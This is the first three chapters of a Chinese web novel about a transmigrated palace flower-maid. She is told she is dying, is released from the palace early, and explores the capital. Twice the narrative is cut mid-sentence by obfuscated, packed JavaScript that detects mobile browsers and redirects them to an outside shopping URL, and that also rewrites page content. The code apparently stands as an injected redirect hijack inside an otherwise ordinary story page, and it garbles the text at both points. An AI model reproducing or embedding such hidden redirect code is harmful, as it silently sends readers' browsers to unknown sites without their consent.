《荒山安居日常》 1. 迎春 “铛——铛——铛——” 雄厚浑壮的钟声在钟鼓楼上响起,传到皇宫内院的花房深处,打破满室静寂。 这是今日的第一次钟响,宣告寅时的到来。 寅时是黑夜与白天的交替之时,也是值夜的宫女太监们能撂下担子喘口气的时候。 和花房里其他一起值夜的人一样,黄迎春已经熬了一天一夜。 昨夜上值前特意再补过一层的薄粉根本压不住此刻她眼下的青黑,在暖房里经过一夜的烘烤,白.粉变得极干极硬,随着黄迎春的走动和动作,粉末窸窸窣窣地从脸上掉下来。 黄迎春却无暇顾及。 因为,她的顶头上司——服饰和妆容都一丝不苟的薄女官,正在检视她昨夜照看的十间暖房的情况。 今人爱花,无论男女,每日头上都要插戴鲜花。若是遇到喜事或举办宴席,更少不了花卉。无论拿来赏玩还是入食,新鲜娇嫩的花朵都是不二之选。在皇宫,鲜花每日耗费巨大。同样的,花卉的重要性只增不减。 黄迎春自从因为“迎春”这个名字被薄女官从一批新进的宫女里选中进花草司专门侍弄春季的花草起,就没有一天不在担惊受怕。 原因无它,春天的节日太多了!而且各个都是大节,需要的花卉极多,更是一点儿差错都不能出。 新年的时候,番邦来贺,进贡了十二盆奇珍异草。皇上龙兴大悦,命花草司好生看顾。太后娘娘瞧着新奇,放在宫里赏玩了几天,随身女官见花朵有落败之色,怕太后见了心生不喜,于是这些奇珍异草拐了个弯,又回到了花草司。虽说这些花草皇上和太后已经看过了,但保不齐哪一天两位又想看呢?所以还是得好好侍弄。为了这些花,薄女官天天耳提面命,生怕出了差错,上行下效,被分管到照顾这些花草的人也都跟着日夜悬着心。 好在,今天这颗心可以暂且放回肚子里。 见薄女官点点头,黄迎春一口气松了大半,待薄女官在册子上盖上一个红戳,她又恭敬地行了一个礼,然后缓缓退到一旁。 寝舍里虽然也燃着火盆,但近了热,远了冷,炭火燃烧时还会冒出黑烟,在屋子里没头没脑地不停打转,直熏得人咳嗽不止,连觉也睡不安稳。论温暖舒适,再也没有比暖房更好的去处了。 而一天中,也没有再比此刻更心安的时候了。 正在被薄女官检查和还没被检查到的人都暗暗地提着一颗心,把暖房待得好似火炉。已经过关的黄迎春则略略放松了自己的心神,静悄悄地享受着暖和的室温。 这里的气候实在奇怪,明明是在南方,冬天竟然会下雪!自打被生下来,黄迎春每一年的冬天都是在挨饿受冻中度过的。原以为是因为这辈子投胎的家庭是看天吃饭的普通农户,又是在生产力低下和赋税繁重的古代,再加上父母格外能生,所以到了冬天才会吃不饱穿不暖,但黄迎春万万没想到,雪灾二字竟然有一天会落到自己的头上! 还是那句话,这可是南方啊!根据物产、植被和土壤来判断,就算不是她上辈子所在的东南地区,也是秦岭——淮河以南的南方啊!哪怕是台风、洪涝、泥石流、山体滑坡甚至高温干旱,黄迎春都不会多么吃惊,但是,雪灾?南方竟然会闹雪灾?竹林桑树随处可见的地方竟然会闹雪灾?苍天啊!上辈子她活了二十六年,都没在冬天见过一片雪花啊!换了个历史课上从来没听过的朝代,她竟然差点在冬天被雪埋了! 简直没处说理去! 更让黄迎春震惊的是,雪灾来临的时候,家中的父母一个去扶摔伤的爷奶,一个去护她的弟妹,根本没有一个人去找她。等她自己好不容易从被雪压倒的茅草屋下爬出来后,也没有人来关心她的死活。倒是家里因为闹了雪灾缺医少药、缺衣少食的时候,每个人都第一时间想起她来了。 当年黄迎春才十二岁,还是个发育不良的豆芽菜,搁现代九年义务教育才完成三分之二的年龄,家中的长辈竟然就要把她嫁给村头的瘸腿鳏夫做继室,只为了五贯钱! 黄迎春想逃,但逃不了。虽然安朝不在于她所了解的历史上,但有一点从古至今都没变,但凡出远门,必定需要路引和户帖。而路引和户帖的办理,越不过族长和里正。这两个人一知道,基本上该知道的人就都知道了,但黄迎春还是不想放弃,拿着自己藏在竹罐里的私房钱,摸黑去了一趟族长家。 族长给她指了一条明路。 于是,当月下旬,当宫中的花鸟使来乡间采选宫女时,黄迎春顶了族长家与她同名同姓但突患急病的女儿的缺,在黄家人措手不及和瘸腿鳏夫红得滴血的眼神中,怀揣着族长家给的十贯钱,挺直腰板坐在马车上驶离乡道入了宫。 一晃眼,已经过去十五年了。 一阵整齐有序的脚步声在门外响起,打断了黄迎春的思绪。 白班的人吃完膳食,已经赶来交接了。 “二月二就快到了,这可是皇后娘娘册封之后的第一个春龙节,你们都给我把眼珠子放亮点,每一株花草都侍弄得精细些,花形和枝叶都要及时修剪,要记得时时捉虫扑蝶,若是让虫蚁从花心里钻出来爬了贵人的手,吓了贵人的眼,有你们好看的。” 女官巡视了一圈,见处处没有异样,便开始日常训话。等她说完后,众人齐声应了一声,这才有条不紊地一个接一个退出暖房。 跨出花房的门槛时,黄迎春解下系在腰间的花名牌,印上印泥在名册上盖了一个戳。名册上已经有了一个戳,颜色不太鲜亮,是她昨天这时候盖的,表示上工。现在盖的这个,代表下工。如此,她这一天一夜的活计才算正式结束了。 屋檐外的天色还是黑的,月亮的轮廓已经淡去,只剩几点星子偶尔亮一亮。 黄迎春汇在众人之中走回宫房。 先去厨房要了水来洗漱,又端来早上的膳食在一旁默默地吃了,然后走回寝舍爬上床去睡觉。 十几年来,日日如此,没有一丝变化。 一挨着床,满身的疲惫涌上来,辛劳了一天一夜的手颤巍巍的,不受控制地在被窝里发着抖。黄迎春缓了许久,腿弯渐渐打直,脚尖也不再紧绷着,却还是睡不着。 在暖房里倒是好睡。可惜,要防范着冬春交接之际,珍奇的花朵不耐气温变化,一时不察就病给自己看,时时都提着一颗心,根本没办法睡。晚上值夜时,也要预备着贵人们突如其来心思活泛想夜游秉烛赏花——这样的事情虽说一年也遇不上一回,但万一被贵人撞见自己在值夜的时候打瞌睡,黄迎春不敢想象自己是何下场。因此,每次轮班值夜,她都靠自己苦熬,熬得眼下青黑,眼袋浮肿,多少妆粉都盖不住。 这也就罢了,要命的是,落下了一个头疼的毛病。 这几年,也不知是不是年岁上来了,每回值夜归寝想休息的时候,她总也睡不着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如同此刻,桃花与她同乡的姐妹坐在床上叽叽喳喳地说个不停,笑声话语钻到黄迎春的脑子里,好比两只啄木鸟在用尖利的嘴巴飞速地对她的脑子又钻又啄,黄迎春也没有起身叫停,只是佯装被炭烟熏到,轻轻地咳了几声,以表暗示。 笑闹声小了一点儿,没多久,说到激动处,两个年轻的宫女再次笑做一团。 耳朵外面吵,脑子里面疼,这觉是彻底睡不了了。 黄迎春翻身从床上爬起来,叠好自己的被褥,穿上鞋,打来一盆半冷不热的水,拿起巾帕认真地洗了一个脸,开始对镜上妆。 “迎春姑姑,你不睡啦?”桃花眼尖,忙问,“今儿不是你休息吗?你这是要去哪儿?” 同乡的姐妹想的更多一些,她偷偷拉住快言快语的桃花,面色隐隐有些不安:“是不是我们太吵了?” 黄迎春打起精神,笑着安抚刚进宫没多久的宫女们:“难得今儿闲暇,我打算也去瞧瞧我相熟的姐妹,一起聊聊天。” 年轻的宫女松了一口气,把火盆移得离黄迎春更近了一些:“姑姑,你暖暖身。” 黄迎春道了谢,从袖笼里拿出一个小盒子,正要往脸上敷粉时,透过昏黄的铜镜,在心里悠悠地叹了一口气。 白天熬,夜里熬,熬得整个人面色枯黄,真应了自个儿的姓! 2. 出宫 黄迎春在宫装里面尽可能地塞满衣服,把自己折腾得满头大汗,结果一出门,一切都是白做工。 上元节之后又过了好些日子,天气还是一点儿转暖的迹象都没有。 几只喜鹊在枝头上蹦跳着,时而抖落身上的水珠,时而互相梳理羽毛,褐色枝干上一滴滴往下红梅雪水,有宫女拿着细长口的白瓶在接雪水。 这活计还有个怪好听的名儿,叫“取天泉”。而且,还得是得上官看重的宫女才能干这个活计。得了这个活计的宫女,其他活也不必干了,端是怕污糟了天泉。 “取天泉也是有讲究的,一定要取梅花的香气,才能煎出独具一格的香茗。”和黄迎春同寝的红梅得了这个活计后,每天都十分骄傲。向来对饮茶没什么讲究的人,如今取水煎茶都说得头头是道。 今人喜茶,上到王孙贵族,下到平民百姓,茶是每日都要喝的,只区别于喝什么茶。未入宫前,黄迎春喝的是后山里采的晒干的野茶,入宫后喝的是采买府每逢初一和其他各色日用一起分发的一小包茶饼。黄迎春没长喝茶的舌头,尝不出什么门道,只希望喝了之后能不犯困,办差事不出差错,每次都把茶煎得浓浓的一口闷下去,如牛嚼牡丹。 至于日出前和朝阳升起之后的雪水在泡茶上有什么差别,黄迎春就更不知道了。 和红梅寒暄时,她的目光情不自禁地落在红梅的手上。 红梅拿着一只天青釉色的玉瓶,小口长身,瓶身上还雕刻着栩栩如生的傲雪红梅的纹样,一看就价值不菲。 为了拿稳玉瓶,取天泉时是绝不允许带手套的,因而持瓶的手极易长冻疮。可是,难不成辛苦了好些时候,乐颠颠地把玉瓶呈上去邀功时,还要给贵人看一手的冻疮吗?岂不是败了贵人的兴致!因此红梅每月都要花大价钱向采买府买冻疮膏,抹了好把手上的肌肤养得娇嫩,不污糟了贵人的眼,也能多得些赏钱,兴许,哪日她就因为这双手得了哪位贵人的青眼呢! “不过,这冻疮膏用得实在吃紧。这不,初一还没到,我的份例又见底了,又得挪钱先去买一罐救急。”红梅先是愁,又是笑,“你俭省惯了,倒是不愁的。” 黄迎春从红梅冻得通红的手上一瞥而过,在寒风中缩了缩脖子,带着笑的脸皱起来,语气也变得可怜:“俭省也是没法子的事。去医药局开的方子吃了总不见好,上月又换了一丸药,一颗就要二十文,一天还要吃两颗,一个月就要洒去一贯多……唉,不说了,我只愿你一直康康健健的,不要去吃那药丸子的苦。” 红梅心里听了妥帖,忙问:“还不见好?你是找哪位医师看的?” 黄迎春愈发愁眉苦脸起来:“也是我运气不好,每回去医师都不逢空,只指派了一个药徒给我看两下,按例给我开几幅方子也就罢了。” 红梅恨铁不成钢,伸出一根指头点了点黄迎春的额头:“你啊,就是性子太软。要我说,不如大声吵嚷起来,闹一回,有这么一次,估摸他们也就怕了。” “哎呀!”黄迎春连忙后退,轻轻地叫唤道,“可千万小心,你手上还拿着玉瓶呢!” “没事,我拿得稳着呢。”虽然是这么说,但红梅还是心有戚戚,黄迎春更怕摊上事,于是两人一拍即合,又草草寒暄了两句就各自分别。 黄迎春继续顶着寒风,快步在宫道上疾行。 刚走进医药局里的隔间,海棠就迎了上来,亲亲热热地同她说起话来。 “可巧,我今儿一早起来就听见喜鹊在枝头上叫唤呢。原不知道是什么好事,还抓着脑袋想了半天,如今迎春你来了,我才发现原来这好事不是应在我身上,是应在你身上呢!” 黄迎春行了一个宫人之间的平辈礼,脸上重新挂起笑:“劳你记挂,这是个什么说法?” 海棠娇嗔道:“哎呀,快坐吧,我们都认识多少年了,偏你礼多,每回见都不忘行礼。” 她拉着黄迎春往榻上一坐,又神神秘秘地从怀中掏出一个香囊,看了看左右,趁着四下无人,小声地说:“我前不久遇见了我一个同乡,可巧,他那时在揽月楼上值。清虚道人新开了一炉丹药,成色不大好,不能盛上去,但疗效不变,就分送给了旁人,做个顺水人情。我那同乡就得了一盒,不多,拢共就五颗。我就向他求了两个,一颗给我,一颗给你。这是你的,你快拿着。” “这药……怕是不对症吧。”黄迎春迟疑着,并不想要。 包治百病的仙丹骗骗想要长生的皇帝也就算了,她可不敢吃。朱砂、砒霜、铁……谁知道坑蒙拐骗的老道往炼丹炉里加了什么。 海棠见黄迎春迟迟没有伸手接过,急了:“这是多大的好事啊,你竟然还推脱!你不是总说你睡不着吗?我听说兰贵妃娘娘也有这个毛病。这是清虚道人专门炼了给兰贵妃娘娘用的。怎么,贵妃娘娘吃得,你吃不得?这药,是专治你的症啊!” “这丹药这么贵重,我不敢收。”黄迎春连连推却,“劳挂你记着我,只是往日我也没做什么,实在不值当你为我求药,还是把它留给更值得的人吧。” 也不知是冬日寒冷还是时辰尚早,她来了这许久,隔间里竟然没有其他人来往。黄迎春转头又说起其他:“无错的宫女年过三十就能出宫了,我记着你明年就到日子,到时候我一定来给你践行。” 黄迎春把海棠想塞进她手里的香囊又推了回去:“这颗丹药不如存着,待明年出宫,拿去外面的医馆请大夫品鉴一二,你也能换些盘缠好回家。” 黄迎春越是为海棠着想,海棠越是要黄迎春收下,两人不停地推拒。突然,海棠把香囊往黄迎春身边一丢,生气地板起脸,硬邦邦地说:“今日你拿得拿,不拿也得拿。钱我已经付了,一颗三十贯,你看着办吧!” “什么?”黄迎春一脸惊愕。 海棠瞥了一眼黄迎春的手,见她的指腹和衣角无措地搅弄在一起,心中暗自得意。 “三十贯!你……你怎么不和我商量一声,怎么就已经付了!我实在吃不起这么好的东西,你赶紧拿去退了吧!”黄迎春慌忙捡起被海棠丢在一旁的香囊,拉过她的手,塞进她的手里,不安地劝说道。 海棠不肯:“这是人人争抢的好事,若不是同乡,哪里轮得到我们的头上。再说,既然已经付了,哪里还有退钱的道理!” 强买强卖的事情黄迎春不是没有遇到过,但花三十贯买一颗要命的丹药,这笔买卖实在做不下来。泥人尚且也有三分气性,冤大头也不是这么当的。黄迎春垂着眼皮想,不知该使个什么法子才能把海棠打发了去。 隔间通往后门处的帘子一动,带进些许风雪。 穿着医师服的中年男人被两个药徒一前一后地簇拥进来。 黄迎春顺理成章地脱了身,积极地去找医师问诊看病,没想到,一番望闻问切下来,医师朝药徒拿了开过的药方看了几眼,又详细地问过黄迎春吃了药之后的反应,最后竟得出了黄迎春已命不久矣的结论。 “您说什么?”黄迎春大惊,连海棠都一脸震惊地从榻上站了起来,神情急切地走到黄迎春身边。 医师又重复了一遍他的诊断,望着脸色灰暗的黄迎春,可惜道:“你这个年纪,成家早的,已经能当祖母了。只可惜……唉——可惜啊!亏空太过,怕是熬不到三年后了。用些好药材,兴许还能延个一年半载的。” 是啊,打小家里就贫困,缺吃少穿的,身子骨没打好基础。进了宫,又天天悬着心,忧虑伤肝。火盆里烧的都是不太好的炭火,闻了十几年,肺估计也不大行了。赶上上官内斗,有一阵子厨房被撤了,在数九寒天吃了几个月的冷饭,得胃病也是应该的。一遇上值班,就是二十四小时地熬,内分泌早就失调了吧……几年前身体就开始发出警告,为什么那时候不重视,熬到去年才来看病吃药呢? 现在好了,钱没省下几个子儿,命直接快没了。 这一回,我又只能活到二十几岁就死了吗? 黄迎春站在火盆旁边,一颗心却犹如掉进了冰窖里,酷冷寒凉,不住的发抖。 海棠摸了摸黄迎春冰凉的手,殷勤地问医师:“就没有其他法子了吗?好歹,也叫我这姐妹熬到出宫日,见一见家人,落地归根哪!” “法子,倒也有。是个偏方,要费点钱财。” “您说,钱还能比命重要么!”海棠连说。黄迎春也一脸凄切地看过去。 医师顶着二人的殷殷期盼,开了口:“清虚道人即将要炼一炉辟邪丹,用的全都是天材地宝,吃了能消百病。只是一颗少说也要五十贯,不知你出不出得起?” 海棠僵住了。 黄迎春的手,冷得更厉害了。 “五十贯啊!这个数目有点……我们再商量商量。”海棠拉着黄迎春的手夺门而出,医师也不挽留。 “迎春,你再等一等,我去找找我那同乡,看清虚道人这回炼的丹药能不能匀一颗给你。五十贯实在太坑人了!丹药肯定是有效的,只是你也知道他们这些人,仗着我们不能随意走动,总是恶意抬高价格。你放心,既然是你的救命药,我肯定不赚差价,我那同乡要多少,就是多少。为了你,我一定好好去求求他。你千万不要现在就把钱给了那医师啊!五十贯,他们也真是会狮子大开口,你一个月的俸禄才两贯钱呢,五十贯得挣上好几年……”海棠一脸忿忿不平。为表诚意,她又把装了价值三十贯钱丹药的香囊塞进黄迎春手里,让她先吃着。 “不用了……我有点冷,我先回了。”黄迎春已浑浑噩噩,再也听不进去任何话。刺骨的寒风无孔不入地钻进她的五脏六腑,冻得黄迎春整个人都在疼。她一步一挪,脚步虚浮地朝花草司的宫房走去。 但她精神涣散着,不知不觉间,竟走错了道。再一回神,已经来到了宫人斜附近。 宫人斜,顾名思义,是一处斜斜的山坡,底下长满了野草和荆棘,是死去的宫女和太监们的归宿。 宫女因病而亡,或是犯了过错被上官命令受罚,熬不过惩戒,最后的结局都是由太监们推着一辆推车运着尸体来到宫人斜上。两手一抬,推车一翻,尸体便骨碌碌地滚到山坡底下,成为孤魂野鬼。太监是残缺之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771633|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,更不会做棺立碑,顶多推车的太监物伤其类,帮忙裹上一层草席便罢了。 明年此时,我就在这底下了吗? 黄迎春打了个冷颤,慌忙转身逃走。 “迎春姑姑,你去哪儿了?真让我好找。”刚拐过一个拐角,桃花一把拉住她的胳膊就往外扯,“快,快走,出事了。” “出什么事了?”黄迎春又惊又怕,猛地把手攥成一团。 难不成,是她得了重病的事被人知道了?桃花是奉命来叫她回去赴死的? 可……可是她还没死呢,医师说她起码还有几个月好活,那是要提前送她去死吗?是打死,饿死,还是……直接把她从宫人斜上扔下去活活摔死? 大冷的天里,黄迎春后背的细汗出了一层又一层。 不,不会的,没人会知道,她每次吃药丸的时候都很小心,是避着人吃的,怎么会有人知道呢? 黄迎春的腿像灌了铅一样,每一步都走得异常沉重,越走步子越迈越小,身体自发地拖延着回去的速度。 “应该是好事吧?哎呀,我也不知道对你来说是好事还是坏事,总之,迎春姑姑,你要出宫啦!” 黄迎春是良家采选入宫的,和获罪入宫的人家不同,只要不犯事,年过三十,她就能出宫。 宫女被放出宫的日子每年都是同一天,黄迎春早就打听好了,记得牢牢的。她不可思议道:“可是,我还有两年零八个月才能出宫啊。” “皇后娘娘说了,从今往后,只要过了二十五,就给放出宫呢。”桃花的嘴角越咧越大,脚步也越走越快。 回了花草司,正赶上众人奔走相告,到处一派急匆匆的喜气洋洋。然后,在薄女官拿着记录着各个宫女出生年月的名帖走进来时,又消失殆尽。 薄女官当众宣布了出宫人员的名单,黄迎春排在春宫里的第三位。 在薄女官面前走了个交接事务的过场,领了几句训诫,又听了几句祝福,然后,黄迎春就在两个太监的监视下,回到寝舍开始收拾行李。 出宫的旨意下得突然,给的时限更是少得可怜。 好在,黄迎春一向安分守己。入宫多年,既不媚上逢迎,也没有结交什么关系匪浅的好姐妹,免了一遭哭哭啼啼。 她安静地站在寝舍门口,环顾一周,竟找不到什么可以带走的东西。 入宫时什么都不能夹带,就是身上穿的,也得全剥下来,换上采买府新制的宫服。分了去处,一切都按照品级和份例来,每月初一领的东西上都盖有采买府的戳,人人都一样。如今要走了,也是一样的,什么都不能带走。 太监站在门口扯着尖细的嗓子喊:“宫中的东西一样都不准带出去,出宫门前会有人检查,若是查出一样,这个宫门你们就别想出了,到时候,不要怪奴家没有提前提醒你们!所有人,都要在午时前把东西规置好,在各宫的宫房门口排成一行,到时会有人来带你们出宫。过期不候——” 这话一出,又是一番兵荒马乱。 宫中的东西不能带走,黄迎春也就没什么好收拾的了。每月初一领的份例,还有没用完的,黄迎春都留给了桃花,谢她来找她的恩情。平日里不凑手或用坏的,那些自己使钱请人帮忙再添置的东西,例如花剪、耳簪之类的,黄迎春都细细地收拾好了,打进包裹里。最后,她又把自己平常待的地方认真地打扫了一遍,又拉着几个眼圈红红的宫女说了一些告别的话,就背起包裹站在了宫房门口。 在宫中待了十五年,背上的包裹却意外得没有多么沉重。 黄迎春一直避免自己最后落个尸骨无存的下场,现在菩萨保佑,竟然能提早出宫,和离了皇宫相比,带不走多少东西已经算不上事了。但旁人却没有她那样的好心情,这不能拿,那不能动,早已经有人收拾着收拾着开始怨天尤人。 午时未到,身边的太监们已经开始催了。 正在和姐妹抱头痛哭的宫女撅着嘴埋怨:“怎么这么急啊?” “不急,不急你别出去啊。”太监眼一横,叫人把刚才和抱怨宫女拉手拥抱过的宫女们都搜检一遍,直到从她们身上没搜出一星半点的夹带来,才勉强点了头。 当着众人的面差点衣服都被剥光了的宫女这回不敢再出声抱怨了,抱着包袱站在黄迎春身边暗暗垂泪,不敢发出声让其他人听到。 过了几道宫门,又被搜了一次身。这回,连黄迎春也没有避免,她这些年积攒下来的金银和钱财也不可避免地被搜身的宫女从胸口处搜了出来。 会被没收吗?还是被克扣? 黄迎春惴惴不安时,领头的严肃女官看了眼她的花名牌,拿着朱砂笔干净利落地在名册上写了个过,点点头:“是个懂事的。” 旁边不懂事的宫女被查出夹带一根成色不凡的玉簪,却无法自圆其说,正在距离宫外一线之隔的宫房里哭爹喊娘。 黄迎春听得瘆得慌,一眼也不敢看,连忙穿好衣服,重新把自己的体己放进尚有余温的胸部,汇在安静的人群里,在日落前踏出了重兵把守的皇宫大门。 3. 人间 早上,黄迎春是被报晓僧的木鱼声吵醒的。 昨日出宫后,眼见天快黑了,她急忙找了一间客栈暂住。一家家问过去,太好的住不起,太差的又怕治安不好半夜遭贼,于是寻了一家中不溜的,也不敢睡大通铺,最后要了间单间。 房间邻着街坊,无论是半夜的打更夫,还是早起的报晓僧,车轱辘碾过和木履踩在青石板上的声响,躺在床上的黄迎春都听得一清二楚。 黄迎春睡不着,想着短短一天之内发生的事情,一件接着一件,应接不暇的来,但她值班下夜之后就没睡过觉,又为出宫的事情忙活了一个早上,等了一个下午,早就又累又乏,最后也不知道什么时候睡过去了,但是,这一夜,她睡得并不安稳。 木鱼声又在耳畔敲:“正月廿一,天色晴明。” 僧人走街串巷,报晓声时远时近,不一会儿的功夫,整条街都醒了。 街上的声响越来越大,紧接着,各种呛鼻的香味也冒出来了,它们弥漫在空气里,轻而易举地穿过窗缝,直往黄迎春的鼻子里钻。 摊贩们招呼的声音也热腾腾的,不由得让人想象他们的吃食是不是也冒着热气。 有拉着长声的:“油——炸——麻——团——糍——团——千——层——儿——” 也有恨不得一口气把摊子上有的菜食都报出来的:“吃面啦,三鲜面、笋泼肉面、桐皮面、蝴蝶面、盐煎面……想吃什么任您选嘞!” 黄迎春听得肚子咕咕直叫,连忙穿好衣服鞋子,把被子叠好,又把包袱藏在床上,这才拿着木盆出了门,使了两文钱从厨房要了一瓢热水掺凉了,给自己认认真真地洗了个脸,又刷了个牙,这才回屋放下木盆,重新将房门落了锁,走出客栈觅食。 黄迎春压根没有在客栈里吃朝食的想法。昨夜她饿得烧心,让小二给她拿了一碗肉粥和两个小菜,味道一般也就算了,竟然还要了她二十文。客栈里的吃食实在是太贵了,今天,黄迎春不打算再在客栈里吃饭,而且,她也想好好地逛一逛永安城。 “喝粥啦,香喷喷的白粥出锅了,喝一碗暖肚又暖心嘞!” “烤包子喽……” 永安城的清晨十分热闹,是黄迎春从未见过的热闹,她甚至不知道该从哪儿逛起。 每条街巷都有铺席买卖,黄迎春一路走一路看,先是点了一笼热气腾腾的虾饺搭配一碗泛着几点油花的馄饨汤吃下肚,又站在一位大娘的摊位旁吃了一碗甜豆腐脑,然后拿了一个带着花香的四色馒头……总之,她不管看见什么都十分感兴趣,无论看到什么都想买一个尝一口,就这么边走边逛边吃,不知不觉间,她塞满了自己的肚子,也走遍了整个早市。 口福和眼福都饱了,这时候,黄迎春才觉出累来。正巧走到河边,她便快步走到桥旁的亭子里坐下歇脚。 风呼呼地吹着,却吹不散河面的热络气。密密麻麻的船只在宽阔的河面上来来往往,撑船的、打渔的、运柴的……个个都忙得不亦乐乎。妇人带着家里的女娘蹲在河边浣衣。垂髫小儿拿着青嫩的柳条把戏水的鹅赶上岸。新年刚过,岸边柳树上装饰的彩条还未落尽颜色,有那调皮的,一个个争相跳高,去碰树上挂着的彩条,被提着菜篮和熟人打招呼的大人看到了,立即弃了闲聊去扯孩子的耳朵。 “又皮,你又皮!你看看这身新衣服,穿上还没几天,又被你糟践得浑身都是泥点子!再这样,明年就不给你做新衣了!” “娘,我错了,放过我吧……”小儿捂着耳朵告饶。 妇人把菜篮子挎在小儿的胳膊里,横眉冷对:“新年才过多久,你又不让我省心!我看你纯粹是讨打!别玩了,和我一起买菜去。你爹还在家里等着吃完朝食好去上工……” 小儿垂眉耷眼地跟着母亲走了。 黄迎春目送着他们汇入人海的背影,叹了口气。 人人都有事忙,偏偏自己没事做。 在宫里的时候,每每因为差事烦忧,她都会畅想出宫之后的生活。如今天遂人愿,她提前两年八个月被放出宫,却一点儿也提不起劲。 是她所求太多,还是真的命不好? 忧愁再度爬满黄迎春的脸。 她搓了搓在寒风中冻得硬邦邦的脸颊,起身过桥。 桥的另一头,正有人家办喜事。 大红花轿高高抬着,锣鼓喧天,新郎官骑着高头大马在前开道,穿着喜服的小厮二人一抬嫁妆,喜庆的红色队伍一眼望去看不到头。喜娘跟在花轿旁,一路走一路洒喜钱。 沿途的人都避让着,退到两侧。 身边的人一边道喜一边弯下腰去捡铜板,黄迎春一边盯着热闹的迎亲场面看得眼都不眨,一边捂着耳朵躲避震耳欲聋的吹吹打打。忽然,一枚铜钱甩到了她的脸上,又冰又凉,她当下一震,忍不住瑟缩了一下,带着喜气的铜板便骨碌碌地掉进了她的衣领里。黄迎春吶呐地从漏风的脖颈里取出意外之财,望着远去的花轿,对着面前流水般经过的晒妆队伍,说了几句吉祥话,然后把一文钱收到袖子里。 原来城里人娶亲是这样子的,真是开了眼了。 有这种想法的不止黄迎春一人。 大家一时被困在桥头,进退不得,索性胳膊一甩,两手一揣,好整以暇地看起热闹。更有那好事人群,一台台地将嫁妆数过去,一次次地发出惊呼。 “十六……二十四……三十……天哪,后头还有那么长的队伍!王家嫁女,竟舍得出这么多的嫁妆!收夜香的,能赚这么多钱?” “那当然!别看这活臭烘烘的,但是不管城里城外都吃香,没点门路的,还干不了呢!” “可不是,夜香虽说是秽物,但哪个种田的离得了它。听说乡下人连拉泡尿都要憋着跑到自己的田里才肯撒,就为了给自己的田地多施点肥。乡下人人抢着甚至还要花钱去买的东西,我们这些坊郭户,还要每月给倾脚夫十文钱让他们上门来收。你想这些倾脚夫在城里收了夜香,又到乡下倒腾一卖,一下子就赚了两手钱,日积月累的,得攒下多少身家哪!” 大家交头接耳,又羡慕嫉妒叹息一番,待队伍过了,桥通了,便又汇入人群中,开始自己一天的生计。 做生意的,向来赶早不赶晚,不像上辈子,黄迎春早上九点出门,大街上除了早餐店,开门迎客的店铺几乎寥寥无几。而在安朝的永安城,这种事情完全不存在。不管黄迎春走到哪条街上,每家店铺门口都是热热闹闹的,进出的人影不断。只是,若不走近了看,黄迎春常常不知道那些店铺是卖什么的。 这辈子投身于农户家庭,又是个女儿身,哪怕进了宫,也没有习字的机会。黄迎春带着上辈子在现代学的那些文字和知识辨认了一路,也没能完整地认出一个招幌和匾额。好在,永安城是国都,不比其他地方,能在寸土寸金的天子脚下开店的,都不是没有家底的人。但凡是有门脸的店铺,都有伙计在门口招呼客人。路过门口听上一耳朵,也就对店家售卖的项目知晓了大概。有那心急的,跑去伙计面前问几句,也能得到伙计好声好气的解释。 黄迎春站在一家香水行门口,仰头看着匾额上的“李木子家香水行”七个大字,好不容易将店家的招牌名认了个囫囵个儿,下一瞬又目露诧异。 既然是卖香水的,为什么门口会挂着一把水壶呢? “这里的香水行可真多!”有人站在黄迎春身边感叹。 “那也有一家!”小厮打扮的年轻人背着包裹左顾右盼,见主人迟迟没有迈动步子,索性上前去找李木子家香水行的伙计搭话,“永安城里怎么有这么多家香水行?” 伙计眉飞色舞地为问话的小厮解惑:“自打咱这永安城成为国都以后,当官的,做买卖的,那人是一群群乌泱乌泱地来。您去运河边上瞧一眼,每天都有成百上千条船往咱们这下呢。大家伙行路辛苦,到了地可不得好好松快松快,这时候还有什么能比痛痛快快洗个香汤更舒服的事呢!” 从外地来的旅人应道:“说得是哪!” 听到有人附和,伙计说得更起劲了 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黄迎春站在门口听了一耳朵,才明白——原来安朝的香水行是公共澡堂啊。她又听了好一会儿,不禁对店家的生意经心生赞叹。好厉害的香水行,简直把洗澡这件事做成了一条完整的产业链,吃喝玩乐穿衣打扮一条龙,这和现代的营销模式也差不了多少,果然,不管在哪里,都有会做生意的商人,真厉害啊! “真会享受啊,不愧是永安城!”同黄迎春一起驻足在店门口的旅人凡是手里有些余钱的,都踏进了李木子家香水行的门槛。 精神萎靡的黄迎春也想活泛一下身体,谁知,伙计知晓她的来意后,却把她拦住了:“娘子,不是小的不想招待您,实在是香水行从来没有女子沐浴的先例。” 黄迎春连忙后退两步,懊悔不已。 我怎么忘了,虽然这不是我知道的古代,但它实实在在是封建王朝,是一个等级分明、有男女大妨的封建王朝啊! 黄迎春没想到自己才出宫一夜,就险些把保命的本事给忘了。 “对不住,真是对不住。” 她和伙计互相道歉,然后连忙离开了这条香水行林立的街道。 虽然洗不了澡,不过,只要想花钱,花钱的机会还是很多的。 三天里,黄迎春吃了许多好吃的,见了许多好看的,也玩了许多好玩的,甚至还在晚上的瓦市里给耍杂戏的打赏了不少铜板。 永安城是没有宵禁的,每到夜里,东西南北四个街市都挂满了灯笼,将临时搭建的瓦市照得亮堂堂的,锣响之后,各种各样的演出轮番上场,呼喝声络绎不绝。 演口技的把屏风搬开后,围观的众人看见桌上简陋的几样东西,突然爆发出比刚刚表演者敲击代表结束的惊堂木时更剧烈的喝彩声。 